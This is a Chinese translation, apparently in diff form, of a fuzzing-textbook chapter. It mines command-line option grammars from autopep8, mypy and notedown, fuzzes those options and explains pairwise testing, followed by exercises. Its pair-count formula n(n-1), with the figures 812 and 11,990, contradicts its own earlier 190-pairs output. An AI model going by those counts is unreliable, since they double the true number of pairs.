+[' -h', ' --help', ' --version', ' -v', ' --verbose', ' -d', ' --diff', ' -i', ' --in-place', ' --global-config <filename>', ' --ignore-local-config', ' -r', ' --recursive', ' -j <n>', ' --jobs <n>', ' -p <n>', ' --pep8-passes <n>', ' -a', ' --aggressive', ' --experimental', ' --exclude <globs>', ' --list-fixes', ' --ignore <errors>', ' --select <errors>', ' --max-line-length <n>', ' --line-range <line> <line>', ' --range <line> <line>', ' --indent-size <int>', ' --hang-closing']
+
+```
+
+像`<n>`或`<line>`这样的元变量都是整数的占位符。 我们假设所有同名的元变量都具有相同的类型：
+
+```py
+autopep8_ebnf_grammar["<line>"]
+
+```
+
+```py
+['<int>']
+
+```
+
+语法挖掘者推断`autopep8`的参数是文件列表：
+
+```py
+autopep8_ebnf_grammar["<arguments>"]
+
+```
+
+```py
+['( <files>)*']
+
+```
+
+依次是字符串：
+
+```py
+autopep8_ebnf_grammar["<files>"]
+
+```
+
+```py
+['<str>']
+
+```
+
+由于我们仅对测试选项感兴趣，而对参数不感兴趣，因此将参数固定为单个强制输入。 （否则，我们将生成大量随机文件名。）
+
+```py
+autopep8_ebnf_grammar["<arguments>"] = [" <files>"]
+autopep8_ebnf_grammar["<files>"] = ["foo.py"]
+assert is_valid_grammar(autopep8_ebnf_grammar)
+
+```
+
+### 创建Autopep8选项
+
+现在让我们使用推断的语法进行模糊测试。 再次，我们将EBNF语法转换为常规BNF语法：
+
+```py
+autopep8_grammar = convert_ebnf_grammar(autopep8_ebnf_grammar)
+assert is_valid_grammar(autopep8_grammar)
+
+```
+
+我们可以使用语法模糊所有选项：
+
+```py
+f = GrammarCoverageFuzzer(autopep8_grammar, max_nonterminals=4)
+for i in range(20):
+    print(f.fuzz())
+
+```
+
+```py
+ -r foo.py
+ --hang-closing --experimental --aggressive foo.py
+ --ignore-local-config -d -h -p 9 --version --list-fixes foo.py
+ -a --verbose foo.py
+ -v --indent-size 7 --global-config { foo.py
+ --in-place --help --select ~s --max-line-length 1 foo.py
+ --pep8-passes 8 --diff foo.py
+ -i --recursive foo.py
+ -r --hang-closing foo.py
+ --jobs 0 -i foo.py
+ --exclude k --line-range 3 6 --verbose foo.py
+ -v -i foo.py
+ --version -a --list-fixes foo.py
+ --ignore x -r foo.py
+ -j 4 --in-place -a foo.py
+ --range 5 2 --list-fixes foo.py
+ --indent-size 5 --indent-size 3 foo.py
+ --indent-size 0 --indent-size 8 foo.py
+ --indent-size 7 --indent-size 3 foo.py
+ --indent-size 9 --verbose foo.py
+
+```
+
+让我们将这些选项应用于实际程序。 我们需要一个文件`foo.py`作为输入：
+
+```py
+def create_foo_py():
+    open("foo.py", "w").write("""
+def twice(x = 2):
+ return  x  +  x
+""")
+
+```
+
+```py
+create_foo_py()
+
+```
+
+```py
+print(open("foo.py").read(), end="")
+
+```
+
+```py
+def twice(x = 2):
+    return  x  +  x
+
+```
+
+我们看到`autopep8`如何固定间距：
+
+```py
+!autopep8 foo.py
+
+```
+
+```py
+def twice(x=2):
+    return x + x
+
+```
+
+现在让我们放在一起。 我们定义了一个`ProgramRunner`，它将使用从`autopep8`语法中提取的参数来运行`autopep8`可执行文件。
+
+```py
+from [Fuzzer](Fuzzer.html) import ProgramRunner
+
+```
+
+在运行带有已挖掘选项的`autopep8`时，显示了惊人的大量通过运行。 （我们看到一些选项相互依赖或相互排斥，但这是由程序逻辑而不是参数解析器处理的，因此不在我们的范围之内。）`GrammarCoverageFuzzer`确保每个选项至少测试一次 。 （顺便说一下，数字和字母也是如此。）
+
+```py
+f = GrammarCoverageFuzzer(autopep8_grammar, max_nonterminals=5)
+for i in range(20):
+    invocation = "autopep8" + f.fuzz()
+    print("$ " + invocation)
+    args = invocation.split()
+    autopep8 = ProgramRunner(args)
+    result, outcome = autopep8.run()
+    if result.stderr != "":
+        print(result.stderr, end="")
+
+```
+
+```py
+$ autopep8 foo.py
+$ autopep8 -a --max-line-length 2 --jobs 5 --help -r foo.py
+$ autopep8 --version --indent-size 0 --ignore-local-config -h foo.py
+$ autopep8 --ignore z --diff -j 7 --experimental --list-fixes --verbose -i --recursive foo.py
+usage: autopep8 [-h] [--version] [-v] [-d] [-i] [--global-config filename]
+                [--ignore-local-config] [-r] [-j n] [-p n] [-a]
+                [--experimental] [--exclude globs] [--list-fixes]
+                [--ignore errors] [--select errors] [--max-line-length n]
+                [--line-range line line] [--hang-closing]
+                [files [files ...]]
+autopep8: error: --in-place and --diff are mutually exclusive
+$ autopep8 --line-range 1 6 --in-place --select _ foo.py
+$ autopep8 --exclude n --pep8-passes 3 --aggressive foo.py
+$ autopep8 --global-config &F -p 4 -d foo.py
+$ autopep8 --hang-closing --range 8 9 -v foo.py
+[file:foo.py]
+--->  5 issue(s) to fix {'E251': {2}, 'E271': {3}, 'E221': {3}, 'E222': {3}}
+$ autopep8 --indent-size 1 --version --hang-closing foo.py
+$ autopep8 --indent-size 3 --hang-closing --aggressive foo.py
+$ autopep8 --indent-size 8 -r --in-place foo.py
+$ autopep8 --indent-size 9 --indent-size 7 --version foo.py
+$ autopep8 -a --aggressive --help -v foo.py
+$ autopep8 --indent-size 9 --indent-size 7 foo.py
+$ autopep8 --indent-size 5 --indent-size 2 --verbose foo.py
+[file:foo.py]
+--->  Applying global fix for E265
+--->  1 issue(s) to fix {'E111': {3}}
+$ autopep8 --indent-size 9 --in-place --recursive foo.py
+$ autopep8 --indent-size 9 --indent-size 9 foo.py
+$ autopep8 --indent-size 6 --indent-size 9 -v foo.py
+[file:foo.py]
+--->  Applying global fix for E265
+--->  1 issue(s) to fix {'E111': {3}}
+$ autopep8 --indent-size 4 --indent-size -5 --list-fixes foo.py
+$ autopep8 --indent-size 93 -a foo.py
+
+```
+
+我们的`foo.py`文件现在已被格式化多次：
+
+```py
+print(open("foo.py").read(), end="")
+
+```
+
+```py
+def twice(x=2):
+         return x + x
+
+```
+
+我们不再需要它，因此我们清理了一些东西：
+
+```py
+import [os](https://docs.python.org/3/library/os.html)
+
+```
+
+```py
+os.remove("foo.py")
+
+```
+
+## 模糊配置选项的类
+
+现在让我们创建可重用的类，这些类可用于测试任意程序。 （好的，使之成为“用Python编写并使用`argparse`模块处理命令行参数的任意程序。”）
+
+类`OptionRunner`是`ProgramRunner`的子类，它使用与上述`autopep8`相同的步骤来自动确定语法。
+
+```py
+class OptionRunner(ProgramRunner):
+    def __init__(self, program, arguments=None):
+        if isinstance(program, str):
+            self.base_executable = program
+        else:
+            self.base_executable = program[0]
+
+        self.find_contents()
+        self.find_grammar()
+        if arguments is not None:
+            self.set_arguments(arguments)
+        super().__init__(program)
+
+```
+
+首先，我们找到Python可执行文件的内容：
+
+```py
+class OptionRunner(OptionRunner):
+    def find_contents(self):
+        self._executable = find_executable(self.base_executable)
+        first_line = open(self._executable).readline()
+        assert first_line.find("python") >= 0
+        self.contents = open(self._executable).read()
+
+    def invoker(self):
+        exec(self.contents)
+
+    def executable(self):
+        return self._executable
+
+```
+
+接下来，我们使用`OptionGrammarMiner`类确定语法：
+
+```py
+class OptionRunner(OptionRunner):
+    def find_grammar(self):
+        miner = OptionGrammarMiner(self.invoker)
+        self._ebnf_grammar = miner.mine_ebnf_grammar()
+
+    def ebnf_grammar(self):
+        return self._ebnf_grammar
+
+    def grammar(self):
+        return convert_ebnf_grammar(self._ebnf_grammar)
+
+```
+
+两种服务方法`set_arguments()`和`set_invocation()`分别帮助我们更改参数和程序。
+
+```py
+from [Grammars](Grammars.html) import unreachable_nonterminals
+
+```
+
+```py
+class OptionRunner(OptionRunner):
+    def set_arguments(self, args):
+        self._ebnf_grammar["<arguments>"] = [" " + args]
+        # Delete rules for previous arguments
+        for nonterminal in unreachable_nonterminals(self._ebnf_grammar):
+            del self._ebnf_grammar[nonterminal]
+
+    def set_invocation(self, program):
+        self.program = program
+
+```
+
+我们可以在`autopep8`上实例化该类并立即获得语法：
+
+```py
+autopep8_runner = OptionRunner("autopep8", "foo.py")
+
+```
+
+```py
+print(autopep8_runner.ebnf_grammar()["<option>"])
+
+```
+
+```py
+[' -h', ' --help', ' --version', ' -v', ' --verbose', ' -d', ' --diff', ' -i', ' --in-place', ' --global-config <filename>', ' --ignore-local-config', ' -r', ' --recursive', ' -j <n>', ' --jobs <n>', ' -p <n>', ' --pep8-passes <n>', ' -a', ' --aggressive', ' --experimental', ' --exclude <globs>', ' --list-fixes', ' --ignore <errors>', ' --select <errors>', ' --max-line-length <n>', ' --line-range <line> <line>', ' --range <line> <line>', ' --indent-size <int>', ' --hang-closing']
+
+```
+
+`OptionFuzzer`与给定的`OptionRunner`交互以获得其语法，然后将其传递给其`GrammarCoverageFuzzer`超类。
+
+```py
+class OptionFuzzer(GrammarCoverageFuzzer):
+    def __init__(self, runner, *args, **kwargs):
+        assert issubclass(type(runner), OptionRunner)
+        self.runner = runner
+        grammar = runner.grammar()
+        super().__init__(grammar, *args, **kwargs)
+
+```
+
+调用`run()`时，`OptionFuzzer`创建一个新的调用（使用其语法中的`fuzz()`），并使用该语法中的参数运行现在给定的（或先前设置的）运行器。 请注意，`run()`中指定的流道可能与初始化过程中的一组不同。 这允许从一个程序中挖掘选项并将其应用到另一上下文中。
+
+```py
+class OptionFuzzer(OptionFuzzer):
+    def run(self, runner=None, inp=""):
+        if runner is None:
+            runner = self.runner
+        assert issubclass(type(runner), OptionRunner)
+        invocation = runner.executable() + " " + self.fuzz()
+        runner.set_invocation(invocation.split())
+        return runner.run(inp)
+
+```
+
+### 示例：Autopep8
+
+让我们将新定义的类应用于`autopep8`运行程序：
+
+```py
+autopep8_fuzzer = OptionFuzzer(autopep8_runner, max_nonterminals=5)
+
+```
+
+```py
+for i in range(3):
+    print(autopep8_fuzzer.fuzz())
+
+```
+
+```py
+ -j -8 foo.py
+ --aggressive --global-config U} --version --verbose foo.py
+ --help --experimental -p 01 --hang-closing -r -d --list-fixes foo.py
+
+```
+
+现在，我们可以使用以下这些类系统地测试`autopep8`：
+
+```py
+autopep8_fuzzer.run(autopep8_runner)
+
+```
+
+```py
+(CompletedProcess(args=['/Users/zeller/anaconda3/bin/autopep8', '-a', '--recursive', '-v', 'foo.py'], returncode=2, stdout='', stderr='usage: autopep8 [-h] [--version] [-v] [-d] [-i] [--global-config filename]\n                [--ignore-local-config] [-r] [-j n] [-p n] [-a]\n                [--experimental] [--exclude globs] [--list-fixes]\n                [--ignore errors] [--select errors] [--max-line-length n]\n                [--line-range line line] [--hang-closing]\n                [files [files ...]]\nautopep8: error: --recursive must be used with --in-place or --diff\n'),
+ 'UNRESOLVED')
+
+```
+
+### 示例：MyPy
+
+我们可以为Python的`mypy`静态类型检查器提取选项：
+
+```py
+assert find_executable("mypy") is not None
+
+```
+
+```py
+mypy_runner = OptionRunner("mypy", "foo.py")
+print(mypy_runner.ebnf_grammar()["<option>"])
+
+```
+
+```py
+[' -h', ' --help', ' -v', ' --verbose', ' -V', ' --version', ' --config-file <str>', ' --warn-unused-configs', ' --no-warn-unused-configs', ' --ignore-missing-imports', ' --follow-imports <str>', ' --python-executable', ' --no-site-packages', ' --no-silence-site-packages', ' --python-version <x.y>', ' -2', ' --py2', ' --platform', ' --always-true', ' --always-false', ' --disallow-any-unimported', ' --disallow-subclassing-any', ' --allow-subclassing-any', ' --disallow-any-expr', ' --disallow-any-decorated', ' --disallow-any-explicit', ' --disallow-any-generics', ' --disallow-untyped-calls', ' --allow-untyped-calls', ' --disallow-untyped-defs', ' --allow-untyped-defs', ' --disallow-incomplete-defs', ' --allow-incomplete-defs', ' --check-untyped-defs', ' --no-check-untyped-defs', ' --warn-incomplete-stub', ' --no-warn-incomplete-stub', ' --no-implicit-optional', ' --implicit-optional', ' --strict-optional', ' --no-strict-optional', ' --strict-optional-whitelist( <GLOB>)*', ' --warn-redundant-casts', ' --no-warn-redundant-casts', ' --no-warn-no-return', ' --warn-no-return', ' --warn-return-any', ' --no-warn-return-any', ' --warn-unused-ignores', ' --no-warn-unused-ignores', ' --disallow-untyped-decorators', ' --allow-untyped-decorators', ' -i', ' --incremental', ' --no-incremental', ' --cache-dir', ' --cache-fine-grained', ' --quick-and-dirty', ' --skip-version-check', ' --pdb', ' --show-traceback', ' --tb', ' --custom-typing <MODULE>', ' --custom-typeshed-dir <DIR>', ' --shadow-file', ' --show-error-context', ' --hide-error-context', ' --show-column-numbers', ' --hide-column-numbers', ' --stats', ' --inferstats', ' --find-occurrences <CLASS.MEMBER>', ' --strict', ' --any-exprs-report <DIR>', ' --cobertura-xml-report <DIR>', ' --html-report <DIR>', ' --linecount-report <DIR>', ' --linecoverage-report <DIR>', ' --memory-xml-report <DIR>', ' --txt-report <DIR>', ' --xml-report <DIR>', ' --xslt-html-report <DIR>', ' --xslt-txt-report <DIR>', ' --junit-xml <str>', ' --scripts-are-modules', ' --debug-cache', ' --dump-deps', ' --dump-graph', ' --semantic-analysis-only', ' --local-partial-types', ' --bazel', ' --package-root', ' --cache-map( <str>)+', ' --disallow-any <str>', ' --strict-boolean', ' --no-strict-boolean', ' -f', ' --dirty-stubs', ' --use-python-path', ' -s', ' --silent-imports', ' --almost-silent', ' --fast-parser', ' --no-fast-parser', ' -m', ' --module', ' -p', ' --package', ' -c', ' --command']
+
+```
+
+```py
+mypy_fuzzer = OptionFuzzer(mypy_runner, max_nonterminals=5)
+for i in range(10):
+    print(mypy_fuzzer.fuzz())
+
+```
+
+```py
+ foo.py
+ -m --no-warn-unused-configs --cache-dir --dirty-stubs --xml-report b --strict --always-false --no-warn-no-return --disallow-any-generics foo.py
+ --linecoverage-report VF? --local-partial-types foo.py
+ --python-executable --dump-graph --any-exprs-report j --warn-unused-ignores --bazel -2 foo.py
+ --scripts-are-modules --warn-no-return --verbose -p --no-silence-site-packages --shadow-file --no-strict-optional --disallow-subclassing-any --strict-optional --almost-silent --package --help foo.py
+ --check-untyped-defs --warn-incomplete-stub --no-check-untyped-defs --allow-untyped-calls --ignore-missing-imports foo.py
+ --show-traceback --hide-column-numbers --disallow-any-decorated --disallow-untyped-decorators --xslt-html-report pm --warn-redundant-casts --fast-parser --package-root --html-report x --no-site-packages --hide-error-context --always-true foo.py
+ --disallow-incomplete-defs --strict-optional-whitelist K -V foo.py
+ --custom-typeshed-dir r^ --command -i --skip-version-check foo.py
+ --config-file C --allow-incomplete-defs --no-warn-redundant-casts --find-occurrences v8 --warn-unused-configs --disallow-untyped-defs foo.py
+
+```
+
+### 示例：Notedown
+
+这是`notedown`笔记本到Markdown转换器的配置选项：
+
+```py
+assert find_executable("notedown") is not None
+
+```
+
+```py
+notedown_runner = OptionRunner("notedown")
+
+```
+
+```py
+print(notedown_runner.ebnf_grammar()["<option>"])
+
+```
+
+```py
+[' -h', ' --help', ' -o( <str>)?', ' --output( <str>)?', ' --from <str>', ' --to <str>', ' --run', ' --execute', ' --timeout <int>', ' --strip', ' --precode( <str>)+', ' --knit( <str>)?', ' --rmagic', ' --nomagic', ' --render', ' --template <str>', ' --match <str>', ' --examples', ' --version', ' --debug']
+
+```
+
+```py
+notedown_fuzzer = OptionFuzzer(notedown_runner, max_nonterminals=5)
+for i in range(10):
+    print(notedown_fuzzer.fuzz())
+
+```
+
+```py
+ --nomagic
+ -o --examples --match 6? --timeout 93 --help --run >
+ --precode Y --rmagic --version 2
+ --template '* --strip s8p
+ --output -h --debug ^
+ --execute --render --debug v
+ --knit --to q --from m --run -h --version +
+ -o --rmagic --nomagic J
+ --precode 4 f --version ]
+ -o E --version HB
+
+```
+
+## 组合测试
+
+我们的`CoverageGrammarFuzzer`可以很好地覆盖每个选项至少一次，这对于系统测试非常有用。 但是，正如我们在上面的示例中还可以看到的那样，某些选项相互要求，而另一些相互干扰。 作为优秀的测试人员，我们应该做的不仅是单独涵盖每个选项，还包括*选项的组合*。
+
+Python `itertools`模块为我们提供了从列表创建组合的方法。 例如，我们可以采用`notedown`选项并创建所有对的列表。
+
+```py
+from [itertools](https://docs.python.org/3/library/itertools.html) import combinations
+
+```
+
+```py
+option_list = notedown_runner.ebnf_grammar()["<option>"]
+pairs = list(combinations(option_list, 2))
+
+```
+
+有很多对：
+
+```py
+len(pairs)
+
+```
+
+```py
+190
+
+```
+
+```py
+print(pairs[:20])
+
+```
+
+```py
+[(' -h', ' --help'), (' -h', ' -o( <str>)?'), (' -h', ' --output( <str>)?'), (' -h', ' --from <str>'), (' -h', ' --to <str>'), (' -h', ' --run'), (' -h', ' --execute'), (' -h', ' --timeout <int>'), (' -h', ' --strip'), (' -h', ' --precode( <str>)+'), (' -h', ' --knit( <str>)?'), (' -h', ' --rmagic'), (' -h', ' --nomagic'), (' -h', ' --render'), (' -h', ' --template <str>'), (' -h', ' --match <str>'), (' -h', ' --examples'), (' -h', ' --version'), (' -h', ' --debug'), (' --help', ' -o( <str>)?')]
+
+```
+
+测试每对这样的选项通常足以覆盖选项之间的所有干扰。 （程序很少具有涉及三个或更多配置设置的条件。）为此，我们将*的语法从*的选项列表更改为*的选项对*列表， 这些将自动覆盖所有对。
+
+我们创建一个函数`pairwise()`，该函数接受语法中出现的选项列表，然后返回*成对选项*的列表-即我们原始的选项，但是是串联的。
+
+```py
+def pairwise(option_list):
+    return [option_1 + option_2
+            for (option_1, option_2) in combinations(option_list, 2)]
+
+```
+
+这是前20对：
+
+```py
+print(pairwise(option_list)[:20])
+
+```
+
+```py
+[' -h --help', ' -h -o( <str>)?', ' -h --output( <str>)?', ' -h --from <str>', ' -h --to <str>', ' -h --run', ' -h --execute', ' -h --timeout <int>', ' -h --strip', ' -h --precode( <str>)+', ' -h --knit( <str>)?', ' -h --rmagic', ' -h --nomagic', ' -h --render', ' -h --template <str>', ' -h --match <str>', ' -h --examples', ' -h --version', ' -h --debug', ' --help -o( <str>)?']
+
+```
+
+新语法`pairwise_notedown_grammar`是`notedown`语法的副本，但选项列表已替换为上述成对选项列表。
+
+```py
+notedown_grammar = notedown_runner.grammar()
+pairwise_notedown_grammar = extend_grammar(notedown_grammar)
+pairwise_notedown_grammar["<option>"] = pairwise(notedown_grammar["<option>"])
+assert is_valid_grammar(pairwise_notedown_grammar)
+
+```
+
+使用“成对”语法进行模糊测试现在可以覆盖一对对：
+
+```py
+notedown_fuzzer = GrammarCoverageFuzzer(
+    pairwise_notedown_grammar, max_nonterminals=4)
+
+```
+
+```py
+for i in range(10):
+    print(notedown_fuzzer.fuzz())
+
+```
+
+```py
+ --run --debug --help --execute
+ -o --timeout 8
+ --precode : --render -h --run
+ --help --debug --strip --nomagic G
+ --render --debug --rmagic --nomagic r
+ --help --version --execute --strip ^
+ -h --execute --precode t --version ip
+ --nomagic --debug --version --debug -h --render K
+ --examples --version --help --examples
+
+```
+
+我们可以实际测试所有选项组合吗？ 实际上，这并不可行，因为组合的数量会随着长度的增加而迅速增加。 随着选项数量达到最大值，它再次减少（有20个选项，只有1个组合涉及*所有*选项），但绝对数量仍然惊人：
+
+```py
+for combination_length in range(1, 20):
+    tuples = list(combinations(option_list, combination_length))
+    print(combination_length, len(tuples))
+
+```
+
+```py
+1 20
+2 190
+3 1140
+4 4845
+5 15504
+6 38760
+7 77520
+8 125970
+9 167960
+10 184756
+11 167960
+12 125970
+13 77520
+14 38760
+15 15504
+16 4845
+17 1140
+18 190
+19 20
+
+```
+
+形式上，长度为$ n $的一组选项中长度为$ k $的组合数为二项式系数$$ {n \ choose k} = \ frac {n！} {k！（n-k）！} $$
+
+$ k = 2 $（所有对）
+
+$$ {n \ choose 2} = \ frac {n！} {2（n-2）！} = n \ times（n-1）$$
+
+对于`autopep8`有29个选项...
+
+```py
+len(autopep8_runner.ebnf_grammar()["<option>"])
+
+```
+
+```py
+29
+
+```
+
+...因此，我们需要812个测试来覆盖所有对：
+
+```py
+len(autopep8_runner.ebnf_grammar()["<option>"]) * \
+    (len(autopep8_runner.ebnf_grammar()["<option>"]) - 1)
+
+```
+
+```py
+812
+
+```
+
+但是，对于具有110个选项的`mypy`，我们已经进行了11,990个测试：
+
+```py
+len(mypy_runner.ebnf_grammar()["<option>"])
+
+```
+
+```py
+110
+
+```
+
+```py
+len(mypy_runner.ebnf_grammar()["<option>"]) * \
+    (len(mypy_runner.ebnf_grammar()["<option>"]) - 1)
+
+```
+
+```py
+11990
+
+```
+
+即使每对都需要一秒钟才能运行，我们仍然需要进行三个小时的测试。
+
+如果您的程序有更多选项要让您全部组合使用，建议您进一步限制配置数量-例如，通过将组合测试限制为可能相互影响的那些组合; 并分别涵盖所有其他（可能是正交的）选项。
+
+这种通过扩展语法创建配置的机制可以轻松地扩展到其他配置目标。 可能需要探索更多的配置，或在特定情况下进行扩展。 下面的[练习](#Exercises)为您准备了许多选项。
+
+## 经验教训
+
+*   除常规输入数据外，程序*组态*也是重要的测试目标。
+*   对于使用标准库解析命令行选项和参数的给定程序，可以自动提取这些选项并将其转换为语法。
+*   为了不仅覆盖单个选项，而且覆盖选项的组合，还可以将语法扩展到覆盖所有对，或者提出更宏大的目标。
+
+## 后续步骤
+
+如果您喜欢从程序中提取语法的想法，请不要错过：
+
+*   [如何为输入数据挖掘语法](GrammarMiner.html)
+
+本书的下一步重点是：
+
+*   [如何解析和重组输入](Parser.html)
+*   [如何为特定产品分配权重和概率](ProbabilisticGrammarFuzzer.html)
+*   [如何简化导致故障的输入](Reducer.html)
+
+## 背景
+
+尽管配置数据和其他输入数据一样容易引起故障，但它在测试生成中受到的关注相对较少-可能是因为，与“常规”输入数据不同，配置数据并不受外部各方的控制，并且， 再次不同于常规数据，配置几乎没有差异。 创建软件配置模型并使用这些模型进行测试很普遍，而成对测试的想法也是如此。 有关概述，请参见[[Pezzè*等人*，2008。](http://ix.cs.uoregon.edu/~michal/book/)]； 有关最新技术的讨论和比较，请参见[ [J. Petke *等人*，2015年。](https://doi.org/10.1109/TSE.2015.2421279)]。
+
+更具体地，[ [Sutton *等人*，2007。](http://www.fuzzing.org/)]还讨论了系统地覆盖命令行选项的技术。 戴等。 [ [Dai *等人*，2010。](https://doi.org/10.4018/jsse.2010070103)通过更改与配置文件关联的变量来应用配置模糊测试。
+
+## 练习
+
+### 练习1：#ifdef配置模糊处理
+
+在C程序中，可以使用 *C预处理器*选择应该编译哪些代码部分，而不应该选择哪些代码部分。 例如，在C代码中
+
+```py
+#ifdef LONG_FOO
+long foo() { ... }
+#else
+int foo() { ... }
+#endif
+
+```
+
+如果定义了*预处理程序变量* `LONG_FOO`，则编译器将使用返回类型`long`编译函数`foo()`；否则，将使用返回类型`int`编译函数`foo()`。 此类预处理器变量可以在源文件中设置（使用`#define LONG_FOO`使用`#define`），或在C编译器命令行中使用`-DLONG_FOO`使用`-D<variable>`或`-D<variable>=<value>`设置。
+
+这种*条件编译*用于针对其环境配置C程序。 特定于系统的代码可以包含许多条件编译。 作为示例，请看`xmlparse.c`的摘录，它是Python运行时库的一部分的XML解析器：
+
+```py
+#if defined(_WIN32) && !defined(LOAD_LIBRARY_SEARCH_SYSTEM32)
+# define LOAD_LIBRARY_SEARCH_SYSTEM32  0x00000800
+#endif
+
+#if !defined(HAVE_GETRANDOM) && !defined(HAVE_SYSCALL_GETRANDOM) \
+ && !defined(HAVE_ARC4RANDOM_BUF) && !defined(HAVE_ARC4RANDOM) \
+ && !defined(XML_DEV_URANDOM) \
+ && !defined(_WIN32) \
+ && !defined(XML_POOR_ENTROPY)
+# error
+#endif
+
+#if !defined(TIOCSWINSZ) || defined(__SCO__) || defined(__UNIXWARE__)
+#define USE_SYSV_ENVVARS /* COLUMNS/LINES vs. TERMCAP */
+#endif
+
+#ifdef XML_UNICODE_WCHAR_T
+#define XML_T(x) (const wchar_t)x
+#define XML_L(x) L ## x
+#else
+#define XML_T(x) (const unsigned short)x
+#define XML_L(x) x
+#endif
+
+int fun(int x) { return XML_T(x); }
+
+```
+
+上面代码中C预处理程序的典型配置可以是`cc -c -D_WIN32 -DXML_POOR_ENTROPY -DXML_UNICODE_WCHAR_T xmlparse.c`，定义给定的预处理程序变量并选择适当的代码片段。
+
+由于编译器一次只能编译一个配置（这意味着我们一次也只能*测试*一个生成的可执行文件），因此您的任务是找出这些配置中的哪个实际上可以编译。 为此，请分三步进行。
+
+#### 第1部分：提取预处理程序变量
+
+编写一个*函数* `cpp_identifiers()`，给定一组行（例如，从`open(filename).readlines()`中提取），提取在`#if`或`#ifdef`预处理程序指令中引用的所有预处理程序变量。 在上面的样本C输入上应用`ifdef_identifiers()`，这样
+
+```py
+cpp_identifiers(open("xmlparse.c").readlines())
+
+```
+
+返回集合
+
+```py
+{'_WIN32', 'LOAD_LIBRARY_SEARCH_SYSTEM32', 'HAVE_GETRANDOM', 'HAVE_SYSCALL_GETRANDOM', 'HAVE_ARC4RANDOM_BUF', ...}
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/ConfigurationFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第2部分：得出期权语法
+
+在`cpp_identifiers()`的帮助下，创建一个具有C编译器调用并带有选项列表的语法，其中每个选项的形式为预处理器变量`<variable>`的`-D<variable>`形式。 使用这种语法`cpp_grammar`
+
+```py
+g = GrammarCoverageFuzzer(cpp_grammar)
+
+```
+
+将创建C编译器调用，例如
+
+```py
+[g.fuzz() for i in range(10)]
+['cc -DHAVE_SYSCALL_GETRANDOM xmlparse.c',
+ 'cc -D__SCO__ -DRANDOM_BUF -DXML_UNICODE_WCHAR_T -D__UNIXWARE__ xmlparse.c',
+ 'cc -DXML_POOR_ENTROPY xmlparse.c',
+ 'cc -DRANDOM xmlparse.c',
+ 'cc -D_WIN xmlparse.c',
+ 'cc -DHAVE_ARC xmlparse.c', ...]
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/ConfigurationFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第3部分：C预处理器配置模糊化
+
+使用刚刚产生的语法，使用`GrammarCoverageFuzzer`
+
+1.  分别测试每个处理器变量
+2.  使用`pairwise()`测试每对处理器变量。
+
+如果您实际运行调用会发生什么？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/ConfigurationFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+```py
+os.remove("xmlparse.c")
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/ConfigurationFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+```py
+if os.path.exists("xmlparse.o"):
+    os.remove("xmlparse.o")
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/ConfigurationFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：.ini配置模糊化
+
+除了命令行选项之外，配置的另一个重要来源是*配置文件*。 在本练习中，我们将考虑Python `ConfigParser`模块提供的非常简单的配置语言，该语言与Microsoft Windows *.ini* 文件中的语言非常相似。
+
+以下`ConfigParser`输入文件示例直接来自ConfigParser文档的[：](https://docs.python.org/3/library/configparser.html)
+
+```py
+[DEFAULT]
+ServerAliveInterval = 45
+Compression = yes
+CompressionLevel = 9
+ForwardX11 = yes
+
+[bitbucket.org]
+User = hg
+
+[topsecret.server.com]
+Port = 50022
+ForwardX11 = no
+```
+
+上面的`ConfigParser`文件可以通过编程方式创建：
+
+```py
+import [configparser](https://docs.python.org/3/library/configparser.html)
+
+```
+
+```py
+config = configparser.ConfigParser()
+config['DEFAULT'] = {'ServerAliveInterval': '45',
+                     'Compression': 'yes',
+                     'CompressionLevel': '9'}
+config['bitbucket.org'] = {}
+config['bitbucket.org']['User'] = 'hg'
+config['topsecret.server.com'] = {}
+topsecret = config['topsecret.server.com']
+topsecret['Port'] = '50022'     # mutates the parser
+topsecret['ForwardX11'] = 'no'  # same here
+config['DEFAULT']['ForwardX11'] = 'yes'
+with open('example.ini', 'w') as configfile:
+    config.write(configfile)
+
+with open('example.ini') as configfile:
+    print(configfile.read(), end="")
+
+```
+
+```py
+[DEFAULT]
+serveraliveinterval = 45
+compression = yes
+compressionlevel = 9
+forwardx11 = yes
+
+[bitbucket.org]
+user = hg
+
+[topsecret.server.com]
+port = 50022
+forwardx11 = no
+
+```
+
+并再次阅读：
+
+```py
+config = configparser.ConfigParser()
+config.read('example.ini')
+topsecret = config['topsecret.server.com']
+topsecret['Port']
+
+```
+
+```py
+'50022'
+
+```
+
+#### 第1部分：读取配置
+
+使用`configparser`，创建一个程序，读取上述配置文件并访问各个元素。
+
+#### 第2部分：创建配置语法
+
+设计一种语法，该语法将自动创建适合您上述程序的配置文件。 用它来模糊程序。
+
+#### 第3部分：挖掘配置语法
+
+通过动态跟踪对配置元素的单个访问，您可以再次从执行中提取基本语法。 为此，使用特殊方法`__getitem__`创建`ConfigParser`的子类：
+
+```py
+class TrackingConfigParser(configparser.ConfigParser):
+    def __getitem__(self, key):
+        print("Accessing", repr(key))
+        return super().__getitem__(key)
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/ConfigurationFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+对于`TrackingConfigParser`对象`p`，只要访问`p[key]`，就会调用`p.__getitem__(key)`：
+
+```py
+tracking_config_parser = TrackingConfigParser()
+tracking_config_parser.read('example.ini')
+section = tracking_config_parser['topsecret.server.com']
+
+```
+
+```py
+Accessing 'topsecret.server.com'
+
+```
+
+如上所述，使用`__getitem__()`实施一种跟踪机制，该程序在程序访问读取配置时自动保存所访问的选项和读取的值。 根据这些值创建原型语法； 用它来模糊测试。
+
+最后，别忘了清理：
+
+```py
+import [os](https://docs.python.org/3/library/os.html)
+
+```
+
+```py
+os.remove("example.ini")
+
+```
+
